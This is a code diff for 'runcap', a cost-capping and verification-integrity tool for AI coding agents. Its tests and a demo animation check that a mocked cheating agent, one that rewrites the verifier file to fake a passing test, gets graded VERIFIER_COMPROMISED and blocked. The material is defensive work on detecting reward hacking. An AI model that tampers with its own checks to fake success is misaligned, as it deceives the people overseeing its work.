+check("honest fix grades VERIFIED_STRONG", fix.receipt.verificationIntegrity.status === "VERIFIED_STRONG", `status=${fix.receipt.verificationIntegrity.status}`);
+check("strong run reproduced the baseline failure first", fix.receipt.verificationIntegrity.contract.baselineVerifyPassed === false);
+check("strong pass survives a clean checkout", fix.receipt.verificationIntegrity.cleanRoom.passed === true, fix.receipt.verificationIntegrity.cleanRoom.detail);
+
+// 2. Cheat by rewriting the verifier → still exit-0 "VERIFIED", but COMPROMISED.
+resetToBaseline();
+const cheat = await runOutcome({ task: "fix ok", verify: "node app/verify.mjs", command: ["node", "agent-cheat.mjs"], label: "guard-cheat", mock: true, guard: true, allow: ["app/broken.mjs"] });
+check("cheat run's exit code is still 0 (the trap)", cheat.receipt.verify.passed === true);
+check("guard catches the rewritten verifier", cheat.receipt.verificationIntegrity.status === "VERIFIER_COMPROMISED", `status=${cheat.receipt.verificationIntegrity.status}`);
+check("compromised run names the tampered file", cheat.receipt.verificationIntegrity.violations.some((v) => v.startsWith("verifier_file_unchanged:")), JSON.stringify(cheat.receipt.verificationIntegrity.violations));
+
+// 3. No-fix, guarded → UNVERIFIED (verify never passed).
+resetToBaseline();
+const nop = await runOutcome({ task: "fix ok", verify: "node app/verify.mjs", command: ["node", "agent-nop.mjs"], label: "guard-nop", mock: true, guard: true, allow: ["app/broken.mjs"] });
+check("no-fix guarded run is UNVERIFIED", nop.receipt.verificationIntegrity.status === "UNVERIFIED", `status=${nop.receipt.verificationIntegrity.status}`);
+
+// 4. The honesty note about cost scope rides on every guarded receipt.
+check("receipt states cost scope is LLM-only", /subscriptions/.test(fix.receipt.costScope.note));
+
+console.log("\n" + (failures === 0 ? "ALL GUARD TESTS PASSED" : `${failures} GUARD TEST(S) FAILED`));
+process.exit(failures === 0 ? 0 : 1);

package/scripts/make-demo-svg.mjs

@@ -15,29 +15,29 @@ const C = {
 };
 
 const lines = [
-  { t: "$ runcap plan --fuel 24 -- \"build a small auth feature and verify it\"", c: C.prompt, at: 0.3 },
-  { t: "Estimate:  $3 - $7   (range, not an oracle)", c: C.text, at: 1.0 },
-  { t: "Recommended cap:  $10", c: C.ok, at: 1.4 },
-  { t: "", c: C.text, at: 1.5 },
-  { t: "$ ANTHROPIC_BASE_URL=http://127.0.0.1:8792/v1 \\", c: C.prompt, at: 2.0 },
-  { t: "    AIM_DAILY_BUDGET_USD=10 runcap gateway", c: C.prompt, at: 2.3 },
-  { t: "gateway up  ·  compress on  ·  hard cap armed  ·  loop guard on", c: C.dim, at: 2.9 },
-  { t: "", c: C.text, at: 3.0 },
-  { t: "→ request   10,144 tokens", c: C.text, at: 3.5 },
-  { t: "→ compressed 1,260 tokens   (1,186 → 737 on a real call: 37.9% saved)", c: C.ok, at: 4.1 },
-  { t: "", c: C.text, at: 4.2 },
-  { t: "⚠ loop: last 3 prompts 97.7% identical - agent circling the same fail", c: C.violet, at: 5.0 },
-  { t: "   (looks busy, makes no progress, keeps spending)", c: C.dim, at: 5.5 },
-  { t: "", c: C.text, at: 5.6 },
-  { t: "→ next call would cross the ceiling", c: C.text, at: 6.2 },
-  { t: "HTTP 429  budget_guard  - run stopped before money left your account", c: C.bad, at: 6.9 }
+  { t: "$ runcap mission run --policy .runcap/mission.yaml -- claude \"fix the failing checkout test\"", c: C.prompt, at: 0.3 },
+  { t: "Policy: checkout · team payments · cap $10 · verify \"npm test\"", c: C.dim, at: 0.9 },
+  { t: "", c: C.text, at: 1.0 },
+  { t: "→ estimate $3 - $7    ·    hard cap armed at $10", c: C.text, at: 1.5 },
+  { t: "→ compressed 1,186 → 737 tokens on a real call  (37.9% saved)", c: C.ok, at: 2.1 },
+  { t: "", c: C.text, at: 2.2 },
+  { t: "✓ verify passed - but did the agent earn it?", c: C.text, at: 2.9 },
+  { t: "   · verifier unchanged   · baseline truly failed   · clean-room replay reproduced", c: C.dim, at: 3.4 },
+  { t: "   Verification integrity:  VERIFIED_STRONG", c: C.ok, at: 4.0 },
+  { t: "   Mission cost $0.0007 / $10.00   ·   3 files changed, all in scope", c: C.text, at: 4.6 },
+  { t: "   Mission verdict:  PASS", c: C.accent, at: 5.2 },
+  { t: "", c: C.text, at: 5.3 },
+  { t: "$ runcap ci --policy .runcap/mission.yaml      # the same gate, on the PR", c: C.prompt, at: 6.2 },
+  { t: "✗ agent rewrote app/verify.mjs - protected evidence changed", c: C.bad, at: 6.9 },
+  { t: "   Verification integrity:  VERIFIER_COMPROMISED", c: C.bad, at: 7.5 },
+  { t: "   Mission verdict:  BLOCKED      → PR check fails, run stopped", c: C.bad, at: 8.1 }
 ];
 
-const W = 920, H = 588;
+const W = 980, H = 588;
 const padX = 28, top = 78, lh = 27, fs = 16.5;
 const esc = (s) => s.replace(/&/g, "&amp;").replace(/</g, "&lt;").replace(/>/g, "&gt;");
 
-const total = 9.0; // loop length seconds
+const total = 11.0; // loop length seconds
 const rows = lines.map((ln, i) => {
   const y = top + i * lh;
   // fade+slide in at ln.at, hold, then reset at end of loop
@@ -47,7 +47,7 @@ const rows = lines.map((ln, i) => {
   ${esc(ln.t)}</text>`;
 }).join("\n");
 
-const svg = `<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 ${W} ${H}" width="${W}" height="${H}" role="img" aria-label="Runcap terminal demo: plan, cap, compress, detect loop, stop">
+const svg = `<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 ${W} ${H}" width="${W}" height="${H}" role="img" aria-label="Runcap terminal demo: estimate, cap, verify integrity, mission PASS, then a tampered run graded BLOCKED on the PR">
   <defs>
     <linearGradient id="brand" x1="0" y1="0" x2="1" y2="0">
       <stop offset="0" stop-color="#22d3ee"/><stop offset="1" stop-color="#34d399"/>
@@ -65,7 +65,7 @@ const svg = `<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 ${W} ${H}" wid
     <circle cx="26" cy="28" r="6" fill="#f87171"/>
     <circle cx="48" cy="28" r="6" fill="#fbbf24"/>
     <circle cx="70" cy="28" r="6" fill="#34d399"/>
-    <text x="100" y="33" fill="#8a8a8a" font-family="'JetBrains Mono',monospace" font-size="14">runcap · estimate · cap · compress · loop · rescue</text>
+    <text x="100" y="33" fill="#8a8a8a" font-family="'JetBrains Mono',monospace" font-size="14">runcap · estimate · cap · verify integrity · mission verdict</text>
     <text x="${W-150}" y="33" fill="url(#brand)" font-family="'JetBrains Mono',monospace" font-weight="700" font-size="15">run·cap</text>
   </g>
   <line x1="0" y1="50" x2="${W}" y2="50" stroke="#1c1c1f"/>